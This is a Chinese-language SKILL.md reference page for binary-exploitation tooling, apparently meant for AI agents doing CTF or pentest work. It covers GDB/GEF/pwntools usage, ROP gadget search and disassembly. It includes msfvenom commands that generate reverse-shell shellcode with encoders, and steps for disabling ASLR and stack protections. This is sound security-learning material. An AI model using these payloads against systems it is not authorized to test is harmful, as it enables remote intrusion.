Skip to main content

binary-exploitation-tools

二进制漏洞利用工具集参考。涵盖调试工具(GDB/GEF/pwndbg/r2)、利用开发框架(pwntools/ROPgadget/one_gadget)、反编译工具(Ghidra/IDA/Binary Ninja)、动态分析工具(ltrace/strace/valgrind)。当 Agent 需要选择合适的二进制分析工具、了解工具使用方法、或搭建利用开发环境时触发。

来源信息

仓库
wgpsec/AboutSecurity
最近来源活动
2026年10月15日 06:58
检测到的 SKILL.md 语言
中文
星标
1,790
分支
248

安装方式

默认使用会先检查来源的 Prompt;你也可以切换为直接命令,或下载本地副本。

检查来源文件

决定是否安装前,请先阅读 SKILL.md,以及 SkillsMP 当前展示的配套文件。

文件资源管理器
2 个文件

正在显示 SKILL.md

SKILL.md
来源说明 · 只读预览
name
binary-exploitation-tools
description
二进制漏洞利用工具集参考。涵盖调试工具(GDB/GEF/pwndbg/r2)、利用开发框架(pwntools/ROPgadget/one_gadget)、反编译工具(Ghidra/IDA/Binary Ninja)、动态分析工具(ltrace/strace/valgrind)。当 Agent 需要选择合适的二进制分析工具、了解工具使用方法、或搭建利用开发环境时触发。
metadata
{"tags":"gdb,pwntools,ghidra,ropgadget,二进制工具,调试,反编译","category":"exploit"}
# 二进制漏洞利用工具集 > **核心原则**:根据目标场景选择工具组合 → 调试定位漏洞 → 利用框架开发 exploit → 反编译辅助逆向分析 ## 深入参考 - 工具安装、完整命令速查与使用技巧 → [references/binary-tools-reference.md](references/binary-tools-reference.md) --- ## Phase 1: 工具选择决策树 ``` 场景 → 工具选择: ├─ 需要调试二进制(设断点/单步/查看内存) │ ├─ Linux ELF → GDB + GEF 或 pwndbg │ ├─ Windows PE → x64dbg / WinDbg / Immunity Debugger │ └─ 远程/嵌入式 → gdbserver + gdb-multiarch ├─ 需要反编译/逆向分析 │ ├─ 免费 + 功能强大 → Ghidra │ ├─ 商业标准 → IDA Pro │ ├─ 轻量命令行 → radare2 (r2) │ └─ 快速查看汇编 → objdump ├─ 需要开发利用代码 │ ├─ Python exploit 框架 → pwntools │ ├─ ROP gadget 搜索 → ROPgadget / ropper │ ├─ libc one-shot shell → one_gadget │ └─ Shellcode 生成 → msfvenom ├─ 需要动态追踪 │ ├─ 系统调用追踪 → strace │ ├─ 库函数调用追踪 → ltrace │ ├─ 内存错误检测 → valgrind │ └─ 动态插桩 → Frida ├─ 需要编译测试二进制 │ └─ GCC(控制保护选项编译) └─ 需要偏移量计算 ├─ pwntools cyclic └─ Metasploit pattern_create / pattern_offset ``` ## Phase 2: 调试工具 ### GDB 基础 ```bash # 安装 sudo apt-get install gdb # 启动选项 gdb -q ./target_binary # 安静模式 gdb -q -x commands.gdb ./binary # 自动执行命令文件 gdb -q -p <pid> # attach 到运行中的进程 ``` ### GDB 核心命令 ```bash # 执行控制 run # 运行程序 start # 运行并在 main 处断下 n / next / ni # 执行下一条(不进入函数) s / step / si # 执行下一条(进入函数) c / continue # 继续到下一个断点 finish # 执行到当前函数返回 # 断点 br main # 函数断点 br *0x401234 # 地址断点 br *main+23 # 偏移断点 del <num> # 删除断点 watch <expression> # 值变化时断下 # 查看信息 info functions # 列出所有函数 info registers # 查看寄存器 bt # 调用栈回溯 bt full # 详细调用栈 print <variable> # 打印变量值 p system # 查找 system 函数地址 # 反汇编 disassemble main # 反汇编函数 set disassembly-flavor intel # 使用 Intel 语法 # 内存查看 (x/examine) x/20gx $rsp # 从 RSP 起查看 20 个 8 字节(十六进制) x/s <addr> # 查看字符串 x/i $rip # 查看当前指令 x/10i $rip # 查看接下来 10 条指令 # 修改 set $rip = 0x401234 # 修改寄存器 set follow-fork-mode child # 跟踪子进程 ``` ### GEF (GDB Enhanced Features) ```bash # 安装 bash -c "$(curl -fsSL https://gef.blah.cat/sh)" # 核心命令 checksec # 检查二进制保护 canary # 搜索 canary 值 vmmap # 查看内存映射 xinfo <addr> # 地址详细信息(所在页/权限/偏移) search-pattern "/bin/sh" # 在进程内存中搜索字符串 got # 查看 GOT 表 memory watch <addr> <size> byte # 添加内存监视 # 漏洞检测 format-string-helper # 检测不安全的格式化字符串 heap-analysis-helper # 堆分配/释放检测(NULL free/UAF/double free) # Pattern 偏移计算 pattern create 200 # 生成 200 字节 pattern pattern search $rsp # 根据 RSP 内容搜索偏移 # Shellcode shellcode search x86 # 搜索 shellcode shellcode get 61 # 下载指定 shellcode # 内存 dump dump binary memory /tmp/dump.bin 0x200000000 0x20000c350 ``` ### GDB 调试技巧 ```bash # 让 GDB 地址与实际运行一致 # (gdb) unset env LINES # (gdb) unset env COLUMNS # (gdb) set env _=/absolute/path/to/binary # 静态链接二进制定位输入函数 # 运行 → 等待输入 → Ctrl+C → bt(查看调用栈) # 远程调试 # 目标: gdbserver --multi 0.0.0.0:23947 # 主机: gdb → target remote <ip>:23947 ``` ### pwndbg(GDB 替代增强插件) ```bash # 安装 git clone https://github.com/pwndbg/pwndbg cd pwndbg && ./setup.sh # 特色功能: 自动显示寄存器/栈/反汇编/源码 # 命令与 GEF 类似但界面不同 ``` ## Phase 3: 利用开发框架 ### pwntools ```python from pwn import * # 上下文设置 context.binary = elf = ELF('./binary') context.log_level = 'debug' # 连接方式 p = process('./binary') # 本地进程 p = remote('host', port) # 远程连接 p = gdb.debug('./binary', 'b main') # 带 GDB 调试 # IO 操作 p.sendline(b'payload') # 发送一行 p.send(b'data') # 发送数据 p.recv(1024) # 接收数据 p.recvline() # 接收一行 p.recvuntil(b'> ') # 接收直到匹配 p.interactive() # 交互模式 # 地址与偏移 elf.symbols['main'] # 函数地址 elf.got['puts'] # GOT 条目 elf.plt['puts'] # PLT 条目 next(elf.search(b'/bin/sh')) # 搜索字符串 # Packing p64(0xdeadbeef) # 64-bit 打包 p32(0xdeadbeef) # 32-bit 打包 u64(data.ljust(8, b'\x00')) # 64-bit 解包 # Cyclic pattern cyclic(200) # 生成 pattern cyclic_find(0x61616168) # 查找偏移 # ROP rop = ROP(elf) rop.call('puts', [elf.got['puts']]) rop.call('main') print(rop.dump()) ``` ### ROPgadget ```bash # 搜索所有 gadgets ROPgadget --binary ./binary # 搜索特定 gadget ROPgadget --binary ./binary --only "pop|ret" ROPgadget --binary ./binary | grep "pop rdi ; ret" ROPgadget --binary ./binary | grep "pop rsi" ROPgadget --binary ./binary | grep "syscall" # 在 libc 中搜索 ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi" ``` ### ropper ```bash # 搜索 gadget ropper --file ./binary --search "pop rdi" ropper --file ./binary --search "jmp esp" # 生成 ROP chain ropper --file ./binary --chain execve ``` ### one_gadget ```bash # 在 libc 中查找一键 shell gadget one_gadget /lib/x86_64-linux-gnu/libc.so.6 # 输出类似: # 0x4f3d5 execve("/bin/sh", rsp+0x40, environ) # constraints: # rsp & 0xf == 0 # rcx == NULL ``` ### Metasploit 工具 ```bash # Pattern 偏移计算 msf-pattern_create -l 3000 msf-pattern_offset -l 3000 -q 5f97d534 # 汇编指令查 opcode msf-nasm_shell # nasm> jmp esp # ELF 中搜索 gadget msfelfscan -j esi /path/to/binary # Shellcode 生成 msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f python -b "\x00\x0a\x0d" msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -f c ``` ## Phase 4: 反编译与逆向工具 ### Ghidra ``` 使用场景: ├─ 免费反编译(C 伪代码输出质量高) ├─ 查找栈溢出偏移(通过局部变量位置信息) │ └─ local_bc 表示缓冲区偏移 0xbc │ └─ local_10 如果是 canary → 从 local_bc 到 canary 偏移 0xac ├─ 交叉引用分析(找到调用 system/exec 的路径) ├─ 字符串搜索与引用追踪 └─ 脚本自动化分析(Java/Python API) ``` ### IDA Pro ``` 使用场景: ├─ 商业级反编译(Hex-Rays 反编译器) ├─ 远程调试 Linux 二进制 │ └─ 目标: ./linux_server64 -Ppass │ └─ IDA: Debugger → Process options → 配置远程 IP ├─ 丰富的插件生态 └─ 高级分析功能(类型恢复、结构体重建) ``` ### radare2 (r2) ```bash # 分析二进制 r2 -A ./binary # afl # 列出函数 # pdf @main # 反汇编 main # iz # 列出字符串 # axt @sym.system # 交叉引用 # 查看函数地址 rabin2 -i ./binary # 导入函数及地址 ``` ### objdump ```bash # 反汇编可执行段 objdump -d -Mintel ./binary # 符号表 objdump -t ./binary # 全部反汇编(含数据段) objdump -D ./binary # 查看特定段 objdump -s -j .got ./binary objdump -s -j .plt ./binary # 查找函数地址 objdump -t --dynamic-relo ./binary | grep puts objdump -D ./binary | grep "VAR_NAME" # 查看重定位 objdump -TR ./binary ``` ## Phase 5: 动态分析工具 ### strace / ltrace ```bash # 系统调用追踪 strace ./binary strace -f ./binary # 跟踪 fork 的子进程 strace -e trace=read,write ./binary # 只追踪特定系统调用 # 库函数调用追踪 ltrace ./binary ltrace -e strcmp ./binary # 只追踪 strcmp 调用 ``` ### 库地址与偏移查找 ```bash # 查看 libc 加载地址 ldd ./binary | grep libc.so.6 # 多次运行查看 ASLR 影响 for i in $(seq 0 20); do ldd ./binary | grep libc; done # 查找 libc 中函数偏移 readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep " system" # 查找 "/bin/sh" 字符串偏移 strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh ``` ### Core Dump 分析 ```bash # 启用 core dump ulimit -c unlimited sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t # 分析 core dump gdb --core=/tmp/core-binary.1234 --quiet ./binary ``` ### qltool (Qiling 框架) ```bash # 反汇编追踪(记录每条执行的指令) qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./binary ``` ### Immunity Debugger (Windows) ```bash # Mona 插件命令 !mona modules # 查看模块保护状态 !mona find -s "\xff\xe4" -m module.dll # 在模块中搜索 JMP ESP opcode ``` ## GCC 编译选项(测试用) ```bash # 关闭所有保护编译 gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack -o vuln vuln.c # 各选项说明 # -fno-stack-protector → 禁用 Stack Canary # -D_FORTIFY_SOURCE=0 → 禁用 Fortify Source # -z norelro → 禁用 RELRO # -z execstack → 栈可执行(禁用 NX) # -no-pie → 禁用 PIE # -g → 包含调试信息 # 编译 shellcode nasm -f elf64 shellcode.asm # 汇编 → .o ld shellcode.o -o shellcode # 链接 → 可执行 # 关闭系统 ASLR(测试环境) echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` ## 工具速查 | 类别 | 工具 | 用途 | |------|------|------| | 调试 | GDB + GEF | Linux 标准调试器 + 增强插件 | | 调试 | pwndbg | GDB 另一款增强插件 | | 调试 | gdb-multiarch | 跨架构远程调试 | | 调试 | x64dbg | Windows 调试器 | | 利用框架 | pwntools | Python exploit 开发 | | 利用框架 | ROPgadget | ROP gadget 搜索 | | 利用框架 | ropper | gadget 搜索 + chain 生成 | | 利用框架 | one_gadget | libc one-shot shell | | 利用框架 | msfvenom | shellcode 生成 | | 逆向 | Ghidra | 免费反编译器 | | 逆向 | IDA Pro | 商业反编译器 | | 逆向 | radare2 | 命令行逆向框架 | | 逆向 | objdump | 快速反汇编 | | 动态分析 | strace | 系统调用追踪 | | 动态分析 | ltrace | 库函数追踪 | | 动态分析 | Frida | 动态插桩 | | 编译 | GCC / nasm | 测试二进制编译 |
在 GitHub 查看